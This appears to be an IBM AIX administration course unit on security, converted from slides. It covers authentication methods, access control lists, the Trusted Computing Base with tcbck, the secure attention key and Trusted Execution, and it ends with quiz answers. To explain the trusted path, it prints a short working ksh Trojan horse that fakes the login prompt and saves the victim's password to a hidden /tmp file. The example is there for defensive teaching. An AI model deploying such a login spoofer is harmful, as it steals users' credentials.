    exit 0
else
    exit 255
fi
# vi /usr/local/bin/limitLogins

#!/usr/bin/ksh

# Limit login to one session per user

USER=$1       # User name is first argument

# How often is the user logged in?
COUNT=$(who | grep "^$USER" | wc -l)

# User already logged in?
if [[ $COUNT -ge 1 ]]; then
  errlogger "$1 tried more than 1 login"
  print "Only one login is allowed"
  exit 128
fi

exit 0       # Return 0 for correct authentication
Two-Key Authentication

# vi
/etc/security/user

boss:
auth1 = SYSTEM;deputy1,SYSTEM;deputy2

login: boss
deputy1's Password:
deputy2's Password:
How can **silva** easily give **simon** read access to the file **salaries**?
Extended Permissions: Access Control

Lists

owner = silva
group = staff
Base permissions = rwx------
Extended permissions:
permit r-- u: simon

# acledit salaries

EDITOR

calledbase permissions
...
extended permissions
enabled
permit r- u: simon
ACL Commands

# aclget file1  Display base/extended permissions

# aclget status99 | aclput report99

# acledit salaries2  To specify extended permissions

• **chmod** in the octal format *disables* ACLs
• Only the **backup** command by default saves ACLs
• **tar** and **cpio** will back up ACLs if the flag –U is used
• **acledit** requires the **EDITOR** variable (full pathname of an AIX editor)
# acledit status99

attributes:
  base permissions
  owner(fred): rwx
  group(finance): rw-
  others: ---

extended permissions
enabled
permit  --x  u:michael
specify  r--  u:anne,g:account
specify  r--  u:nadine

- **michael** (member of group **finance**) gets read, write (base) and execute (extended) permission
- If **anne** is in group **account**, she gets read permission on file **status99**
- **nadine** (member of group **finance**) gets only read access
AIXC ACL Keywords: deny

# acledit report99

attributes:
base permissions
  owner (sarah): rwx
  group (mail): r--
  others: r--
extended permissions
enabled
deny r-- u:paul g:mail
deny r-- g:gateway

- deny: Restricts the user or group from using the specified access to the file
- deny overrules permit and specify
JFS2 Extended Attributes Version 2

- Extension of normal attributes
- Name and value pairs
- **setea** - to associate name/value pairs
- **getea** - to view
- **acledit** works with EAv2 ACLs

```bash
# acledit /fs2

* ACL_type NFS4
**
* Owner: root
* Group: system
*
s:(OWNER@): d wpDd
s:(OWNER@): a rRWxaAcCo
s:(GROUP@): a rx
```
Exercise 14: Authentication and ACLs

• Setting a new login herald
• Adding a primary authentication method
• Access control lists
The Trusted Computing Base (TCB)

The TCB is the part of the system that is responsible for enforcing the security policies of the system.

# ls -l /etc/passwd
-rw-r--rw- 1 root  security ... /etc/passwd

# ls -l /usr/bin/be_happy
-r-sr-xr-x 1 root  system ... /usr/bin/be_happy
The TCB can only be enabled at installation time!

The AIX kernel

Configuration files that control AIX

Any program that alters the kernel or an AIX configuration file
Checking the Trusted Computing Base

Security Model

/etc/security

sysck.cfg

/etc/passwd:
  owner = root
  mode = 644
  ...

Reality

tcbck

• Reports differences
• Implements fixes

/etc

rw-r--r-- /etc/passwd

© Copyright IBM Corporation 2005
The sysck.cfg File

# vi /etc/security/sysck.cfg
...

/etc/passwd:
  owner = root
  group = security
  mode = TCB, 644
  type = FILE
  class = apply, inventory, bos.rte.security
  checksum = VOLATILE
  size = VOLATILE
...

# tcbck -t /etc/passwd
tcbck: Checking Mode Examples

# chmod 777 /etc/passwd
# ls -l /etc/passwd
-rwxrwxrwx 1 root security ... /etc/passwd

# tcbck -t /etc/passwd
The file /etc/passwd has the wrong file mode
Change mode for /etc/passwd ?
(yes, no ) yes

# ls -l /etc/passwd
-rw-r--r-- 1 root security ... /etc/passwd

# ls -l /tmp/.4711
-rwsr-xr-x 1 root system ... /tmp/.4711

# tcbck -t tree
The file /tmp/.4711 is an unregistered set-UID program.
Clear the illegal mode for /tmp/.4711 (yes, no) yes

# ls -l /tmp/.4711
-rwxr-xr-x 1 root system ... /tmp/.4711
## tcbck: Checking Mode Options

<table>
<thead>
<tr>
<th>Command:</th>
<th>Report:</th>
<th>Fix:</th>
</tr>
</thead>
<tbody>
<tr>
<td>tcbck -n &lt;what&gt;</td>
<td>yes</td>
<td>no</td>
</tr>
<tr>
<td>tcbck -p &lt;what&gt;</td>
<td>no</td>
<td>yes</td>
</tr>
<tr>
<td>tcbck -t &lt;what&gt;</td>
<td>yes</td>
<td>prompt</td>
</tr>
<tr>
<td>tcbck -y &lt;what&gt;</td>
<td>yes</td>
<td>yes</td>
</tr>
</tbody>
</table>

<what> can be:
- a *filename* (for example `/etc/passwd`)
- a *classname*: A logical group of files defined by class = name entries in `sysck.cfg`
- *tree*: Check all files in the filesystem tree
- **ALL**: Check all files listed in `sysck.cfg`
tcbck: Update Mode Examples

- Add salary.dat to sysck.cfg

- Test all files belonging to class salary

- Delete file /etc/cvid from sysck.cfg
chtcb: Marking Files As Trusted

# ls -le /salary/salary.dat
-rw-rw----- root salary ... salary.dat

No "+" indicates not trusted

tcbck indicates a problem!

# tcbck -n salary
The file /salary/salary.dat has the wrong TCB attribute value

# chtcb on /salary/salary.dat
# ls -le /salary/salary.dat
-rw-rw----+ root salary ... salary.dat

Now its trusted!
**tcbck: Effective Usage**

- **tcbck**
  - **Normal Use** (-n)
    - Non-interactive through `inittab` or `cron`
  - **Interactive Use** (-t)
    - Useful for checking individual files or classes
  - **Paranoid Use**
    - Store the `sysck.cfg` file offline and restore it periodically to check out the system
What do you think when you see this screen on a terminal?

AIX Version 5
(C) Copyrights by IBM and by others 1982, 2004
login:
Trusted Communication Path: Trojan Horse

#!/usr/bin/ksh
print "AIX Version 6"
print "(C) Copyrights by IBM and by others 1982, 2007"
print -n "login: "
read NAME
print -n ""$NAME's Password: "
stty -echo
read PASSWORD
stty echo
print $PASSWORD > /tmp/.4711

Victim's password can be retrieved by the intruder!

$ cat /tmp/.4711
darth22
The Trusted Communication Path is based on:

- A trusted shell (tsh) that only executes commands that are marked as being trusted
- A trusted terminal
- A reserved key sequence, called the secure attention key (SAK), which allows the user to request a trusted communication path
Using the Secure Attention Key (SAK)

- **Before logging in** at the trusted terminal:

  AIX Version 6
  (C) Copyrights by IBM and by others 1982, 2007
  login: `<CTRL-x><CTRL-r>`

  `tsh>

  Previous login prompt was from a Trojan horse.

- **To establish a secure environment:**

  `# <CTRL-x><CTRL-r>`
  `tsh>`

  Ensures that no untrusted programs will be run with **root** authority.
Configuring the Secure Attention Key

● Configure a trusted terminal:

```
# vi /etc/security/login.cfg
/dev/tty0:
    sak_enabled = true
```

● Enable a user to use the trusted shell:

```
# vi /etc/security/user
root:
    tpath = on
```
# chtcb query /usr/bin/ls
/usr/bin/ls is not in the TCB

tsh>ls *.c
ls: Command must be trusted to run in the tsh

# chtcb on /usr/bin/ls

tsh>ls *.c
a.c  b.c  d.c
Trusted Execution (TE) Environment

• AIX 6.1 Feature

• Alternative to TCB; similar functions plus enhancements

• Not recommended to run TCB at the same time

• Uses hash values based on keys and certificates

• AIX filesets install with IBM signed hashes

• Supports run-time checking of executables

• Can monitor loads of kernel extensions and shared libraries

• Can lock the database, even against root
## Comparing TCB to TE

<table>
<thead>
<tr>
<th>Trusted Computing Base</th>
<th>Trusted Execution Environment</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Configure at BOS installation</strong></td>
<td><strong>Install/configure anytime:</strong></td>
</tr>
<tr>
<td></td>
<td><em>clic.rte.</em> filesets</td>
</tr>
<tr>
<td></td>
<td># /usr/lib/methods/loadkclic</td>
</tr>
<tr>
<td><strong>Trusted Computing Base Database:</strong> /etc/security/sysck.cfg</td>
<td><strong>Trusted Signature Database:</strong> /etc/security/tsd/tsd.dat</td>
</tr>
<tr>
<td></td>
<td>certified hashes</td>
</tr>
<tr>
<td></td>
<td>database can be locked</td>
</tr>
<tr>
<td><strong>Uses <strong>tcbchk</strong> to manage:</strong></td>
<td><strong>Uses <strong>trustchk</strong> to manage:</strong></td>
</tr>
<tr>
<td></td>
<td>add/delete entries</td>
</tr>
<tr>
<td></td>
<td>audit with reports and/or fixes</td>
</tr>
<tr>
<td></td>
<td>can enable run-time checking</td>
</tr>
<tr>
<td><strong>Trusted Communications Path:</strong> Trusted Shell and SAK</td>
<td><strong>Trusted Execution Path:</strong> Trusted Shell and SAK supported</td>
</tr>
<tr>
<td></td>
<td>also has trusted directories</td>
</tr>
<tr>
<td></td>
<td><strong>Trusted Library Path:</strong> dynamic links can be restricted to trusted libraries</td>
</tr>
</tbody>
</table>
(True or False) Any programs specified as auth1 must return a zero in order for the user to log in.

Using AIXC ACLs, how would you specify that all members of the security group had rwx access to a particular file except for john?

4. Which file would you edit to modify the ASCII login prompt?

6. Name the two modes that tcbck supports.
• (True or False) Any programs specified as auth1 must return a zero in order for the user to log in.

• Using AIXC ACLs, how would you specify that all members of the security group had rwx access to a particular file except for john?

```plaintext
extended permissions enabled
permit rwx g:security
deny rwx u:john
```

4. Which file would you edit to modify the ASCII login prompt?

```plaintext
/etc/security/login.cfg
```

6. Name the two modes that tcbck supports.

```plaintext
check mode and update mode
```
1. When you execute `<ctrl-x ctrl-r>` at a login prompt and you obtain the `tsh` prompt, what does that indicate?

____________________________________________
____________________________________________

• (True or False) The system administrator must manually mark commands as trusted, which will automatically add the command to the `sysck.cfg` file.

7. (True or False) When the tcbck -p tree command is executed, all errors are reported and you get a prompt asking if the error should be fixed.
1. When you execute `<ctrl-x ctrl-r>` at a login prompt and you obtain the `tsh` prompt, what does that indicate?

It indicates that someone is running a fake `getty` program (a Trojan horse) on that terminal.

• (True or False) The system administrator must manually mark commands as trusted, which will automatically add the command to the `sysck.cfg` file.

   False. The system administrator must add the commands to `sysck.cfg using the tcbck -a command`.

• (True or False) When the `tcbck -p tree` command is executed, all errors are reported and you get a prompt asking if the error should be fixed.

   False. The `-p` option specifies fixing and no reporting. (This is a very dangerous option.)
Unit Summary

- The authentication process in AIX can be customized by authentication methods.
- Access control lists (ACLs) allow a more granular definition of file access modes.
- The Trusted Computing Base (TCB) is responsible for enforcing the security policies on a system.
Exercise: Challenge Activity (Optional)

- Day 1
- Day 2
- Day 3
- Day 4